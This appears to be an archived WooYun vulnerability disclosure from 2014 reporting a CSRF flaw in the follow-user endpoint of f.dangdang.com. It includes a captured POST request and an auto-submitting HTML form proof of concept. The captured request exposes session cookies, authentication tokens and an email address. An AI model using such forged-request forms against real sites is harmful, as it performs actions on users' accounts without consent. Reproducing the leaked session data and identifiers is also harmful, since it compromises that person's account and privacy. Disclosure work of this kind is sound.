乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-12-20: 细节已通知厂商并且等待厂商处理中 2014-12-25: 厂商已经主动忽略漏洞,细节向公众公开
终于破处了!
站点:http://f.dangdang.com/问题出现在加关注这里http://f.dangdang.com/person/6898509240848/summerrrr123这个用户还没有关注这个用户
POST /callback/add_friends.php?1418964916807 HTTP/1.1Host: f.dangdang.comProxy-Connection: keep-aliveContent-Length: 36Accept: */*Origin: http://f.dangdang.comX-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.107 Safari/537.36Content-Type: application/x-www-form-urlencodedReferer: http://f.dangdang.com/person/6898509240848/Accept-Encoding: gzip,deflate,sdchAccept-Language: zh-CN,zh;q=0.8Cookie: __permanent_id=20141217002943728134143229370358894; recharge_number_location=15754334072; cart_id=100270292; __ddclick_visit=0000000001.10; pos_9_end=1418959045113; ad_ids=1585139%2C1276988%2C1517204%2C1581932%7C%233%2C2%2C1%2C2; MDD_temp_item_id=1038743609; MDD_temp_zpid=0; MDD_temp_hgid=0; MDD_settle_account=1; MDD_buy_number=1; MDD_permanent_id=20141217002935353440134506439876362; MDD_ddclick_visit=1; MDD_ddclickc=1; out_refer=fofa.so%7C; LOGIN_TIME=1418964265210; dangdang.com=email=NjQ4NjI5NzYyQHFxLmNvbQ==&nickname=c3VtbWVycnJyMTIz&display_id=5732377750841&customerid=sdOlPfIISo6O6Pmt+a8AVA==&viptype=dcYCAwJkyPA=&show_name=summerrrr123; ddoy=email=648629762%40qq.com&nickname=summerrrr123&agree_date=1&validatedflag=0&uname=648629762%40qq.com&utype=0&.ALFG=off&.ALTM=1418964268; sessionID=0642a79853e3c69fa0e0ba33d948398b; _ga=GA1.2.486900086.1418960350; _jzqco=%7C%7C%7C%7C%7C1.1446357847.1418915706600.1418964261011.1418964277820.1418964261011.1418964277820.0.0.0.166.166; login.dangdang.com=.AYH=20141219124441124139122&.ASPXAUTH=F+ohRLnKw6UyxxHTxuBA0QxIOvmxKR1N; ddscreen=2; __trace_id=20141219125437907603929225695112863; Hm_lvt_b7d159bc4490aa2a2b43afe80dfcab25=1418964847; Hm_lpvt_b7d159bc4490aa2a2b43afe80dfcab25=1418964878; Hm_cv_b7d159bc4490aa2a2b43afe80dfcab25=1*Logined*1mode=ajax&kid=6898509240848&action=1
POC
<html><body><form id="demo" name="demo" action="http://f.dangdang.com/callback/add_friends.php?1418964916807" method="POST"><input type="text" name="mode" value="ajax" /><input type="text" name="kid" value="6898509240848" /><input type="text" name="action" value="1" /><input type="submit" value="submit" /></form><script> document.demo.submit();</script></body></html>
http://f.dangdang.com/callback/add_friends.php?1418964916807
危害等级:无影响厂商忽略
忽略时间:2014-12-25 19:34
暂无